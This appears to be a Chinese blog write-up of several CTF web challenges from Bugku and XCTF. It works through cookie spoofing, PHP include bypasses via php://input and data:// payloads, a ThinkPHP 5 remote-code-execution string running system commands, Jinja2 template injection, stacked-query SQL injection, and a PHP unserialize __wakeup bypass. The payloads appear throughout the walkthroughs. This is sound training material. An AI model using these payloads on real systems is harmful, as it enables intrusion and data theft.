CTF_WEB(习题)

2023-11-13

一、bugku_web_cookie欺骗:https://ctf.bugku.com/challenges/detail/id/87.html

  1. 在这里插入图片描述

  2. 地址栏filename一看为base64,解密为keys.php

  3. 尝试index.php加密为base64:aW5kZXgucGhw,读取一下,啥也没有
    在这里插入图片描述

  4. 观察地址栏,将line赋值为1试试,发现是将index.php按行读取了
    在这里插入图片描述

  5. 将index.php读取出来,读读取结果

#cookies欺骗
import requests
php=""
f=open("index.txt","w+")
for i in range(0,100,1):
    url="http://114.67.175.224:14875/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
    php=requests.get(url)
    f.write(php.content)
f.close()
<?php
error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
# isset() 函数用于检测变量是否已设置并且非 NULL
#这是一个php的三元运算符      (条件) ? (值1):(值2);解释:如果条件成立(为真),则执行冒号前边的“值1”,否则执行冒号后面的“值2”。
#这句话的意思就是:如果$_GET['id']已经被设置,即已经有值了,则$id=$_GET['id'];如果$_GET['id']没有被设置,则$id = '';
$line=isset($_GET['line'])?intval($_GET['line']):0;
#intval() 函数用于获取变量的整数值
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
#php header("location: $url")页面跳转
$file_list = array(

'0' =>'keys.txt',

'1' =>'index.php',

);

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

$file_list[2]='keys.php';

}

 

if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

}

?>


  1. 构造Cookie即可得到flag,注意此时读取的是keys.php 在这里插入图片描述

二、xctf_Web_php_include:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5415&page=1

  1. 发现是一个绕过问题:strstr(a,b)实现在a中寻找b,并返回b及b在a中以后的部分,不区分大小写;str_repalce(a,b,c)在c中寻找a,并将找到的部分替换成b,区分大小写。源代码将php://替换成空格,需要进行绕过
    在这里插入图片描述
    (1)利用函数是否区分大小写,利用php://input伪协议进行绕过,简单说就是获取post数据。

    在这里插入图片描述
    在查看器中找到flag
    在这里插入图片描述
    (2)过滤了php://的伪协议,那就用data://text/plain,使用方法:data://text/plain;base64,xxxx。
<?php system("dir")?>
//base64编码后为PD9waHAgc3lzdGVtKCJkaXIiKT8+,但是浏览器不能识别+,需要进行url编码,编码后为
PD9waHAgc3lzdGVtKCJkaXIiKT8+
PD9waHAgc3lzdGVtKCJkaXIiKT8%2B

在这里插入图片描述
在这里插入图片描述
获取flag

<?php system("cat fl4gisisish3r3.php")?>
//编码后
http://111.200.241.244:62118/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==

查看页面源代码获得flag
在这里插入图片描述
三、xctf_php_rce:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5412&page=1

  1. 打开题目
    在这里插入图片描述
  2. 题目提示有远程执行漏洞,搜索thinkphp v5为php框架,存在远程代码执行漏洞,网上搜一下
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
  1. 执行一下结果为
    在这里插入图片描述
  2. 证明可以执行,接着执行ls指令(在这个过程中有个插曲,就是用hackbar不能得到结果,每次都需要在地址栏把playload重新粘贴一便,执行完一次改想执行的指令就没结果了,还得重新粘一次,奇怪!但是执行完一次,等一会直接该命令是可以的)
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

在这里插入图片描述

  1. 搜索flag的相关信息
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"

在这里插入图片描述
2.

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

在这里插入图片描述
三、bugku_web:simple_SSTI(https://ctf.bugku.com/challenges/detail/id/196.html)

  1. 打开题目,只有这个提示,发送一个flag的参数,get尝试一下
    在这里插入图片描述
  2. 传递flag是什么会显示在前端,post传递一下会报错。于是进行常规操作:右键查看源代码,F12看查看器
    在这里插入图片描述
  3. 查一下flask是啥:Flask是一个轻量级的基于Python的web框架,jinjan2是Flask作者开发的一个模板系统,仿django模板的一个模板引擎,为Flask提供模板支持。根据题目提示是一个模板注入
  4. Jinjan2 基础语法分为三种:{% … %}、{{ … }}、{# … #}
  5. 尝试payload,页面显示6,注意这里不要用2+3
http://114.67.175.224:17207/?flag={{2*3}};
  1. 构建paylod
http://114.67.175.224:17207/?flag={{config}};
#http://114.67.175.224:17207/?flag={{config.SECRET_KEY}};

在这里插入图片描述
四、XCTF_web_supersql:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5417&page=1

  1. sqlmap爆破,不成功,只扫出来数据库名称是supersqli?尝试手工注入

  2. 题目为suoersqli,明显为sql注入
    在这里插入图片描述

  3. 输入1,1’结果如下,说明注入点格式为’1’
    在这里插入图片描述
    在这里插入图片描述

  4. 确认注入格式输入:1’ and 1=1#,由结果显示是对的
    在这里插入图片描述

  5. 判断有几列:1' order by 2#不出错,说明有两列

  6. 获取数据库名称:1' select 1,database()#,提示进行了过滤,尝试一下能获得什么
    在这里插入图片描述

  7. 堆叠查询,用分号分割语句查询1';show databases;#
    在这里插入图片描述

  8. 获取表1';show tables;#
    在这里插入图片描述

  9. 接下来有三种方法解决

  • mysql可以使用select查询表中的数据,也可使用handler语句,这条语句是一行一行的浏览一个表中的数据。
    handler table_name open 打开表格
    handler tabel_name read first 读取表格第一行
    handler tabel_name read next 依次读取其他行
    注意MySQL表名为纯数字时(表名和保留字冲突时也是加反引号),要加反引号:show columns from 1919810931114514
-1';handler `1919810931114514` open;handler `1919810931114514` read first;#

在这里插入图片描述

  • 有两个表格,页面默认查的是words表格?,把1919810931114514和words表格改一下名字,即可查询
1'; alter table words rename to aaaa;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);#

  • 使用mysql预处理语句,进行绕过:MySQL 官方将 prepare、execute、deallocate 统称为 PREPARE STATEMENT,也就是预处理语句,字符拼接函数可以考虑用来绕过关键字检查
1';use supersqli;set @sql=concat('s','elect * from `1919810931114514`');PREPARE pre FROM @sql;EXECUTE pre;--+

五、bugku_never_give_up:http://ctf.bugku.com/challenges/detail/id/88.html

  1. 打开网址
    在这里插入图片描述
  2. 右键检查源码
    在这里插入图片描述
  3. 访问1p.html,竟然跳转到bugku
    在这里插入图片描述
  4. 检查1p.html源代码,由于1p.html会跳转,所以直接地址栏输入访问源代码
    在这里插入图片描述
  5. 中间那段有信息,前面部分像url编码,中间像base64编码
    在这里插入图片描述
  6. 进行代码审计
<script>window.location.href='http://www.bugku.com';</script> 
<!--";if(!$_GET['id'])
{
	header('Location: hello.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'no no no no no no no';
	return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	$flag = "flag{***********}"
}
else
{
	print "never never never give up !!!";
}


?>-->
  1. 审计6-20行
  • 6.<!–";if(!$_GET[‘id’])
  • 14.if(stripos($a,’.’))
  • 20.if($data==“bugku is a nice plateform!” and i d = = 0 a n d s t r l e n ( id==0 and strlen( id==0andstrlen(b)>5 and eregi(“111”.substr( b , 0 , 1 ) , " 1114 " ) a n d s u b s t r ( b,0,1),"1114") and substr( b,0,1),"1114")andsubstr(b,0,1)!=4)
  • 6.限制 URL 查询字符串中必须有非空非零变量 id
  • 14.限制变量 $a 中不能含有字符点(.)
  • 20.要满足5个条件
    ①变量 $data 弱等于字符串 bugku is a nice plateform!
    ②变量 $id 弱等于整型数 0
    ③变量 $b 的长度大于 5
    ④字符串 1114 要与字符串 111 连接变量 $b 的第一个字符构成的正则表达式匹配
    ⑤变量 $b 的第一个字符弱不等于整型数 4
  • 因此,我们可以构造
  • id=%00或者id=.或者id=0e1(② 弱等于整型数 0⑥非空非零,于是构造非空非零字符串)
  • b=%0012345或者*12345或者?12345或者.12345(③长度大于 5④⑤待匹配字符串(第二个参数)已确定为 “1114”,正则表达式(第一个参数)由 “111” 连接 b 的 第 一 个 字 符 组 成 , 若 令 s u b s t r ( b 的第一个字符组成,若令 substr( bsubstr(b,0,1) = "?"则满足上述)
  • a=php://input(用伪协议 php:// 来访问输入输出的数据流,其中 php://input可以访问原始请求数据中的只读流。这里令 $a = “php://input”,并在请求主体中提交字符串 bugku is a nice plateform!用以满足①)
  1. 函数简介
函数 eregi()语法:
    int eregi(string pattern, string string, [array regs]);
定义和用法:
eregi()函数在一个字符串搜索指定的模式的字符串。
实际应用中eregi函数可以用数组绕过,也可以用%00截断
ereg() 函数或 eregi() 函数存在空字符截断漏洞,即参数中的正则表达式或待匹配字符串遇到空字符则截断丢弃后面的数据。
  1. 构造payload:http://114.67.175.224:15215/=?id=0e1&a=php://input&b=???,再使用bp传入data数据给input得到flag
    在这里插入图片描述
    flag{cc7e3242ec7fb6349fbb523cfb05e15b}

六、 xctf_Web_php_unserialize:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5409&page=1

  1. 打开网页
<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>
  1. 一道反序列化题目,Demo类,对象创建时(new)自动调用__construct,serialize时不自动调用;对象销毁时自动调用__destruct,unserialize时自动调用__wakeup
  2. Demo初始化改变file值,源码说明flag在fl4g.php里面,__destruct() 说明Demo毁会高亮显示里面的内容。
private $file = 'index.php';
//the secret is in the fl4g.php
function __destruct() { 
        echo @highlight_file($this->file, true); 
    }

  1. Demo中有__wakeup()函数,反序列化时会自动执行,必须绕过该函数,不然由指向了index.php
  2. 综上需要绕过:匹配函数,__wakeup()函数
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 

这里使用get方法传参var,进行base64编码,进行匹配,匹配成功就直接结束了,否则unserialize
7. 匹配函数绕过

  • oc:代表这块区域用来匹配o或者c
  • \d:代表一个数字字符
  • +:代表可以匹配多次
  • /i:匹配时不区分大小写
(preg_match('/[oc]:\d+:/i', $var))
  • fl4g.php序列化后的结果
<?php
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}

$a = new Demo('fl4g.php');
$b = serialize($a);
print_r($b);
?>
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
  • 为了绕过匹配,4改为+4O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
  1. 绕__wakeup()函数,当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。将1改为2。
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
  1. base64编码:
Tzo0OiJEZW1vIjoyOntzOjEwOiJEZW1vZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
  1. 将编码后字符传入var参数中,得到flag,提示:$file 是私有成员序列化之后字符串首尾会多出两个空格 “%00*%00”,所以base64加密最好在代码中执行防止复制漏掉
    在这里插入图片描述
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

CTF_WEB(习题) 的相关文章

随机推荐

  • 最近抖音很火的情侣飞行棋html源码

    演示网站如下 https effect guoyaxue top fxq index html 游戏规则 1 摇筛子自动走棋 2 每个格子都有任务 也可以自行商量执行其他任务 3 率先走到终点的一方 获得胜利 2023 抖音情侣飞行棋网站源
  • 爬虫之lxml模块和xpath

    lxml模块 lxml 库是一款 Python 数据解析库 参考重要文档在 lxml Processing XML and HTML with Python 项目开源地址在 GitHub lxml lxml The lxml XML too
  • 服务器硬盘销售渠道,存储服务器硬盘的选择及几个疑问解答

    在存储服务器硬件设备里最重要的肯定是硬盘了 因为所有的数据都保存在里面 虽然我们可以做阵列来提高安全性 但一般的RAID5 RAID6只能保证1到2块盘损坏的情况下数据是完整的 再损坏数据就要丢失了 所以选择性能好寿命长的硬盘才是解决问题的
  • Installshield 中 添加环境变量、设置右键菜单功能

    一 添加环境变量 首先设置feature new一个组件 环境变量将依附在这个组件上 如下图所示 a Component即刚刚设置feature时产生的 是该环境变量依赖的组件 Value值是想加入Path中的值 b OnInstall 如
  • 题目描述已知矩形的长和宽,计算其周长和面积。

    1010 矩形的周长和面积 1级 时间限制 1 Sec 内存限制 128 MB 提交 777 解决 442 提交 状态 讨论版 命题人 admin 题目描述 已知矩形的长和宽 计算其周长和面积 输入 仅一行 用空格隔开的两个整数 表示矩形的
  • 如何使用apt-cache搜索来查找软件包?

    这篇已经讲得很详细了 留言记录 如何使用apt cache搜索来查找软件包 腾讯云开发者社区 腾讯云
  • EJB分布式应用中需注意的问题

    1 EJB事务 EJB和spring事务都只能对RuntimeException进行事务回滚 所以要进行事务回滚的BO要throw RMSSysException而不是RMSAppException 现在的做法是在生成EJB代码时将RmsA
  • 2019.04.08—Java 中字母汉字占几个字节

    今天在做回顾的时候看到的问题 为什么两个运行的结果不一样呢 1 弄清java中的字节与字符 问题 在java中 一个字符等于多少字节 或者更详细的问 在java中 一个英文字符等于多少字节 一个中文字符等于多少字节 答案 Java采用uni
  • C++与Python混编——使用Pyhon扩展C++程序(1)

    在正式开始python与C 之间混合编程前 我们先从python官方文档中查看相关的资料 https docs python org 3 6 extending embedding html 本文及接下来相关博文 均已 vs2017 pyt
  • 命令行批量缩小图片尺寸

    最近要邮件发一批图片 可是图片文件总容量太大 每个都有2M多 需要缩小一下 就上网找了一下批量缩放图片大小的工具发现了Imagemgick这个好东西 Imagemgick是一个可以通过命令行对文件进行处理的程序 支持linux Mac OS
  • 常用shell命令

    查找字符串 grep r struct event base n 在当前目录查找字符串 找到后返回文件和对应的行 统计文件行数 字节 字数 wc命令 选项 l c w分别统计行数 字节 字数 可统计多文件 但不能统计目录 wc c main
  • 结构化程序设计:输入一个正整数(不超过5位数),输出由该数的各位能表示的最大数和最小数。

    结构化程序设计 输入一个正整数 不超过5位数 输出由该数的各位能表示的最大数和最小数 思路 代码 分析 1 分离x各位数到数组a中 2 对数组a进行排序 3 根据乘权求和算法 对已排好序的数组a分别从大到小和从小到大计算最大最小值 思路 首
  • ytht & infomall.cn

    为什么无法访问三角地版 近来有很多公众网用户无法访问三角地版 甚至一访问三角地版就会导致 IP 被自动封禁 从而无法继续连接一塌糊涂 为什么会出现这种奇怪的现象呢 我们的技术人员经过研究发现 只要您浏览包含有 triangle 字样的链接
  • 3D 贴图丢失的检测以及解决办法大全

    现在大部分设计师建好模型直接会丢在网上渲染 渲染完成后直接可以本地电脑下载结果 这样可以给行内设计师解决大部分渲图时间 但平时我们渲图会出现贴图丢失的情况 这到底是怎么回事 应该怎么解决这个问题呢 今天我做了个详细的归档 可以检测下贴图丢失
  • office全家桶_5个免费实用的Office学习网站,请马住

    我经常收到后台的私信或者现实生活周边的朋友咨询 有什么免费实用的Office学习教程或者网站 这倒是个大需求 基本只要涉及点到需要处理文字 数据等的工作都会要求会一点Office办公软件 当然了 岗位的不太所需要的Office熟练程度会有不
  • Linux :: 权限篇【2】:详解文件操作权限表示方式!字符表示法 及 八进制表示法说明!

    系列文章说明 前言 本篇是 Linux 基本操作篇章的内容 笔者使用的环境是基于腾讯云服务器 CentOS 7 6 64bit 学习集推荐 C 入门到入土 学习合集 Linux 从命令到网络再到内核 学习合集 文章目录 系列文章说明 前言
  • 面向对象设计模式

    文章目录 一 创建型设计模式 1 1 单例 Singleton 1 2 原型 Prototype 1 3 工厂 Factory 1 3 1 简单工厂 1 3 2 工厂方法 1 3 3 抽象工厂 1 4 建造者 Builder 二 结构型设计
  • vue判断值是否为空以及弹出提示框

    if this checkedProjects length 0 alert 该项不能为空
  • xp系统sql服务器怎么找,SQL文件在winxp系统下怎么打开

    很多用户不知道SQL文件是什么 SQL文件怎么打开 我们存储数据时候经常会遇到SQL文件 如果你不知道WinXP系统SQL文件是什么以及怎么打开的话 那就赶紧看看小编整理的以下文章内容吧 SQL文件是什么 学习编程的同学可能都知道SQL是一
  • CTF_WEB(习题)

    一 bugku web cookie欺骗 https ctf bugku com challenges detail id 87 html 地址栏filename一看为base64 解密为keys php 尝试index php加密为bas